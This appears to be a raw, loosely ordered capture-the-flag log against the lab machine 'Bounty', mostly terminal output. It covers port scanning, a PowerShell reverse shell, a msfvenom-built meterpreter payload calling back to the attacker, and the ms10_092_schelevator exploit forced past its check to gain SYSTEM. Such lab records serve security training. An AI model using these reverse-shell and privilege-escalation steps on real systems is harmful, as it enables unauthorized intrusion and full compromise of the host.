┌──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -p- --min-rate=1000010.10.10.93 -oG allports Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-21 14:47 CST Nmap scan report for10.10.10.93 Host is up (0.45s latency). Not shown: 65534 filtered tcp ports (no-response) PORT STATE SERVICE 80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 21.40 seconds
┌──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -p80 -sC -sV --min-rate=1000010.10.10.93 -oG allports2 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-21 14:48 CST Nmap scan report for10.10.10.93 Host is up (0.40s latency).
PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 7.5 | http-methods: |_ Potentially risky methods: TRACE |_http-title: Bounty |_http-server-header: Microsoft-IIS/7.5 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.82 seconds
┌──(kali㉿offsec)-[~/Desktop] └─$ nc -lvnp 443 listening on [any] 443 ... connect to [10.10.14.11] from (UNKNOWN) [10.10.10.93] 49158 Windows PowerShell running as user BOUNTY$ on BOUNTY Copyright(C) 2015 Microsoft Corporation. All rights reserved.
PS C:\windows\system32\inetsrv>whoami bounty\merlin PS C:\windows\system32\inetsrv> cd C:\Users\merlin\Desktop\ PS C:\Users\merlin\Desktop> dir PS C:\Users\merlin\Desktop> cd ../ PS C:\Users\merlin> cd ../ PS C:\Users> dir
Directory: C:\Users
Mode LastWriteTime Length Name ---- ------------- ------ ---- d---- 5/31/2018 12:18 AM Administrator d---- 5/30/2018 4:44 AM Classic .NET AppPool d---- 5/30/2018 12:22 AM merlin d-r-- 5/30/2018 5:44 AM Public
PS C:\Users> cd Public PS C:\Users\Public> cd Desktop PS C:\Users\Public\Desktop> dir PS C:\Users\Public\Desktop> Get-ChildItem : Access to the path 'C:\Users\Public\Desktop' is denied. At line:1 char:4 + dir <<<< + CategoryInfo : PermissionDenied: (C:\Users\Public\Desktop:Strin g) [Get-ChildItem], UnauthorizedAccessException + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell. Commands.GetChildItemCommand
PS C:\Users\Public\Desktop> cd C:\Users\merlin\Desktop PS C:\Users\merlin\Desktop> dir PS C:\Users\merlin\Desktop> ls PS C:\Users\merlin\Desktop> ls -la PS C:\Users\merlin\Desktop> Invoke-PowerShellTcp : A parameter cannot be found that matches parameter name 'la'. At line:128 char:21 + Invoke-PowerShellTcp <<<< -Reverse -IPAddress 10.10.14.11 -Port 443 + CategoryInfo : NotSpecified: (:) [Write-Error], WriteErrorExcep tion + FullyQualifiedErrorId : Microsoft.PowerShell.Commands.WriteErrorExceptio n,Invoke-PowerShellTcp
PS C:\Users\merlin\Desktop> dir PS C:\Users\merlin\Desktop> cd ../ PS C:\Users\merlin> dir
Directory: C:\Users\merlin
Mode LastWriteTime Length Name ---- ------------- ------ ---- d-r-- 5/30/2018 12:22 AM Contacts d-r-- 5/31/2018 12:17 AM Desktop d-r-- 5/30/2018 12:22 AM Documents d-r-- 5/30/2018 12:22 AM Downloads d-r-- 5/30/2018 12:22 AM Favorites d-r-- 5/30/2018 12:22 AM Links d-r-- 5/30/2018 12:22 AM Music d-r-- 5/30/2018 12:22 AM Pictures d-r-- 5/30/2018 12:22 AM Saved Games d-r-- 5/30/2018 12:22 AM Searches d-r-- 5/30/2018 12:22 AM Videos
PS C:\Users\merlin> cd Desktop PS C:\Users\merlin\Desktop> dir /ah PS C:\Users\merlin\Desktop> Get-ChildItem : Cannot find path 'C:\ah' because it does not exist. At line:1 char:4 + dir <<<< /ah + CategoryInfo : ObjectNotFound: (C:\ah:String) [Get-ChildItem], ItemNotFoundException + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetCh ildItemCommand
PS C:\Users\merlin\Desktop> dir /ah PS C:\Users\merlin\Desktop> Get-ChildItem : Cannot find path 'C:\ah' because it does not exist. At line:1 char:4 + dir <<<< /ah + CategoryInfo : ObjectNotFound: (C:\ah:String) [Get-ChildItem], ItemNotFoundException + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetCh ildItemCommand
Host Name: BOUNTY OS Name: Microsoft Windows Server 2008 R2 Datacenter OS Version: 6.1.7600 N/A Build 7600 OS Manufacturer: Microsoft Corporation OS Configuration: Standalone Server OS Build Type: Multiprocessor Free Registered Owner: Windows User Registered Organization: Product ID: 55041-402-3606965-84760 Original Install Date: 5/30/2018, 12:22:24 AM System Boot Time: 3/23/2024, 9:57:15 AM System Manufacturer: VMware, Inc. System Model: VMware Virtual Platform System Type: x64-based PC Processor(s): 1 Processor(s) Installed. [01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2294 Mhz BIOS Version: Phoenix Technologies LTD 6.00, 12/12/2018 Windows Directory: C:\Windows System Directory: C:\Windows\system32 Boot Device: \Device\HarddiskVolume1 System Locale: en-us;English (United States) Input Locale: en-us;English (United States) Time Zone: (UTC+02:00) Athens, Bucharest, Istanbul Total Physical Memory: 2,047 MB Available Physical Memory: 1,574 MB Virtual Memory: Max Size: 4,095 MB Virtual Memory: Available: 3,571 MB Virtual Memory: In Use: 524 MB Page File Location(s): C:\pagefile.sys Domain: WORKGROUP Logon Server: N/A Hotfix(s): N/A Network Card(s): 1 NIC(s) Installed. [01]: Intel(R) PRO/1000 MT Network Connection Connection Name: Local Area Connection DHCP Enabled: No IP address(es) [01]: 10.10.10.93 PS C:\Users\merlin\Desktop
PS C:\Users\merlin\Desktop> whoami /priv
PRIVILEGES INFORMATION ----------------------
Privilege Name Description State ============================= ========================================= ======== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeAuditPrivilege Generate security audits Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled PS C:\Users\merlin\Desktop>
msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST=10.10.14.11 [-] Unknown datastore option: LHOST=10.10.14.11. Usage: set [options] [name] [value]
Set the given option to value. If value is omitted, print the current value. If both are omitted, print options that are currently set.
If run from a module context, this will set the value in the module's datastore. Use -g to operate on the global datastore.
If setting a PAYLOAD, this command can take an index from `show payloads'.
OPTIONS:
-c, --clear Clear the values, explicitly setting to nil (default) -g, --global Operate on global datastore variables -h, --help Help banner.
msf6 exploit(multi/handler) > set LHOST 10.10.14.11 LHOST => 10.10.14.11 msf6 exploit(multi/handler) > set LPORT 4444 LPORT => 4444 msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.11:4444
17、使用msfvenom生成一个反弹shell的木马文件
1 2 3 4 5 6 7 8
┌──(kali㉿offsec)-[~/Desktop] └─$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.11 LPORT=4444 -f exe -o shell.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 510 bytes Final size of exe file: 7168 bytes Saved as: shell.exe
Mode LastWriteTime Length Name ---- ------------- ------ ---- -a--- 3/23/202410:30 AM 7168 shell.exe
PS C:\Users\merlin\Desktop> shell.exe
Directory: C:\Users\merlin\Desktop
Mode LastWriteTime Length Name ---- ------------- ------ ---- -a--- 3/23/202410:30 AM 7168 shell.exe
PS C:\Users\merlin\Desktop> Invoke-PowerShellTcp : The term 'shell.exe' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the n ame, or if a path was included, verify that the path is correct and try again. At line:128char:21 + Invoke-PowerShellTcp <<<< -Reverse -IPAddress 10.10.14.11 -Port 443 + CategoryInfo : NotSpecified: (:) [Write-Error], WriteErrorExcep tion + FullyQualifiedErrorId : Microsoft.PowerShell.Commands.WriteErrorExceptio n,Invoke-PowerShellTcp
msf6 exploit(windows/local/ms14_058_track_popup_menu) > use exploit/windows/local/ms10_092_schelevator [*] Using configured payload windows/shell/reverse_tcp msf6 exploit(windows/local/ms10_092_schelevator) > show options
Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on TASKNAME no A name for the created task(default random)
Payload options(windows/shell/reverse_tcp):
Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique(Accepted: '', seh, thread, process, none) LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Windows Vista / 7 / 2008 (Dropper) View the full module info with the info, or info -d command. msf6 exploit(windows/local/ms10_092_schelevator) > set session 1 session => 1 msf6 exploit(windows/local/ms10_092_schelevator) > set lhost 10.10.14.11 lhost => 10.10.14.11 msf6 exploit(windows/local/ms10_092_schelevator) > set lport 3333 lport => 3333 msf6 exploit(windows/local/ms10_092_schelevator) > run [*] Started reverse TCP handler on 10.10.14.11:3333 [*] Running automatic check ("set AutoCheck false" to disable) [-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. Windows Server 2008 R2 (6.1 Build 7600). is not vulnerable "set ForceExploit true" to override check result. [*] Exploit completed, but no session was created. msf6 exploit(windows/local/ms10_092_schelevator) > exploit [*] Started reverse TCP handler on 10.10.14.11:3333 [*] Running automatic check ("set AutoCheck false" to disable) [-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. Windows Server 2008 R2 (6.1 Build 7600). is not vulnerable "set ForceExploit true" to override check result. [*] Exploit completed, but no session was created. msf6 exploit(windows/local/ms10_092_schelevator) > set AutoCheck false AutoCheck => false msf6 exploit(windows/local/ms10_092_schelevator) > run [*] Started reverse TCP handler on 10.10.14.11:3333 [!] AutoCheck is disabled, proceeding with exploitation [*] Preparing payload at C:\Windows\TEMP\VDgrYdO.exe [*] Creating task: h9SRKQjDL3MEf [*] Reading the task file contents from C:\Windows\system32\tasks\h9SRKQjDL3MEf... [*] Original CRC32: 0xc1d2c065 [*] Final CRC32: 0xc1d2c065 [*] Writing our modified content back... [*] Validating task: h9SRKQjDL3MEf [*] Disabling the task... [*] SUCCESS: The parameters of scheduled task "h9SRKQjDL3MEf" have been changed. [*] Enabling the task... [*] SUCCESS: The parameters of scheduled task "h9SRKQjDL3MEf" have been changed. [*] Executing the task... [*] Sending stage (240 bytes) to 10.10.10.93 [*] Command shell session 2 opened (10.10.14.11:3333 -> 10.10.10.93:49171) at 2024-03-23 16:48:45 +0800 [*] Deleting task h9SRKQjDL3MEf... C:\Windows\system32>getuid getuid 'getuid' is not recognized as an internal or external command, operable program or batch file. C:\Windows\system32>whoami whoami nt authority\system C:\Windows\system32>